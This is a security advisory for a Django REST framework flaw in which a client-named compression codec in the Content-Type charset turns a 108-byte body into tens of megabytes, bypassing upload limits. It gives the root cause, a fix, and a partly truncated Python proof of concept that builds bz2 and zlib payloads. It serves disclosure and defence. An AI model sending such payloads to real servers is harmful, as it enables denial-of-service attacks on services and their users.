GitHub Advisoryadvisory · PyPI
GHSA-3547-9m27-7rxg Django REST framework: JSONParser applies an attacker-named codec to the request stream
HIGH
Official page ↗
- Aliases
- CVE-2026-114136
- Ecosystem
- PyPI
- Packages
- djangorestframework
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-409, CWE-770
- Reviewed
- 2026-10-22
Affected packages
• PyPI djangorestframework: >= 3.6.4, < 3.18.2 → fixed in 3.18.2
Description
Summary
An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.
Details
`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type
header:
```python
rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
raise ParseError('JSON parse error - %s' % str(exc))
```
Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms
instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`,
`uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does
not consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending
`Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor
before `json.load` reads it.
The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the
bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an
`io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression
happens afterwards, inside the parser, where nothing is counting.
This is DRF's defect and not Django's. Django resolves the charset parameter and assigns
`request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of
`request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')`
and `str(raw, 'bz2_codec')` raise
`LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`.
DRF is the only caller that hands the request stream to `codecs.getreader`.
`FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named
encoding but fail closed instead of amplifying.
The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading
large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended
memory gain does not hold because `read()` decodes the whole stream, which is the same property that
makes this expansion unbounded. No `_is_text_encoding` check has been added since.
A one-line fix at `parsers.py:61-64`:
```python
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
```
PoC
Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a
fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports
near-zero growth for every arm after the first), and prints a verdict.
```python
!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.
Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.
T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
C1 48 MiB plaintext, Content-Type: application/json (no charset)
C2 the byte-identical T body, charset=utf-8
C3 zlib body, charset=zlib_codec
The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.
Requires: django, djangorestframework importable. No arguments, nothing to edit.
python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile
PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536
ARMS = {
"T": ("bz2.bin", "application/json; charset=bz2_codec"),
"C1": ("plain.bin", "application/json"),
"C2": ("bz2.bin", "application/json; charset=utf-8"),
"C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
"T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
"C1": "rejected with RequestDataTooBig, view body never runs",
"C2": "HTTP 400 ParseError on the byte-identical compressed body",
"C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []
def build_payloads():
import bz2
import zlib
os.makedirs(PAYLOAD_DIR, exist_ok=True)
plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
blobs = {
"plain.bin": plain,
"bz2.bin": bz2.compress(plain, 9),
"zlib.bin": zlib.compress(plain, 9),
}
for name, blob in blobs.items():
with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
fh.write(blob)
return {name: len(blob) for name, blob in blobs.items()}
def configure_django():
from django.conf import settings
settings.configure(
DEBUG=False,
ALLOWED_HOSTS=["testserver"],
SECRET_KEY="poc",
ROOT_URLCONF=__name__,
MIDDLEWARE=[],
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"rest_framework",
],
DATABASES={
"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
},
DEFAULT_CHARSET="utf-8",
DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
LOGGING_CONFIG=None,
USE_TZ=True,
)
import django
django.setup()
def build_view():
from rest_framework.response import Response
from rest_framework.views import APIView
class Echo(APIView):
authentication_classes = []
permission_classes = []
def post(self, request):
data = request.data
VIEW_RAN.append(True)
value = data.get("a") if isinstance(data, dict) else None
return Response(
{"parsed_value_len": len(value) if isinstance(value, str) else None}
)
return Echo
def __getattr__(name):
# ROOT_URLCONF points at this module; build urlpatterns lazily.
if name == "urlpatterns":
from django.urls import path
value = [path("x", build_view().as_view())]
globals()["urlpatterns"] = value
return value
raise AttributeError(name)
def peak_rss_kib():
"""Peak resident size of this process. /proc is used where available because
ru_maxrss does not track the calling process on every kernel."""
try:
with open("/proc/self/status") as fh:
for line in fh:
if line.startswith("VmHWM:"):
return int(line.split(":")[1].strip().split()[0])
except OSError:
pass
import resource
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
def run_arm(arm):
payload_name, content_type = ARMS[arm]
with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
body = fh.read()
configure_django()
from django.test import Client, RequestFactory
client = Client(raise_request_exception=False)
# Warm every lazily imported module so the delta measures the request only.
client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
VIEW_RAN.clear()
before = peak_rss_kib()
response = client.generic("POST", "/x", data=body, conte…
Related
Alias · CVE (1)
- CVE-2026-114136 Django REST framework is a toolkit for building Web APIs. vulnerability
References
- https://github.com/encode/django-rest-framework/security/advisories/GHSA-3547-9m27-7rxg web
- https://nvd.nist.gov/vuln/detail/CVE-2026-114136 advisory
- https://github.com/encode/django-rest-framework/commit/3c2634599b26a9f789b03045118dbc276117611a web
- https://github.com/encode/django-rest-framework package
- https://github.com/encode/django-rest-framework/releases/tag/3.18.2 web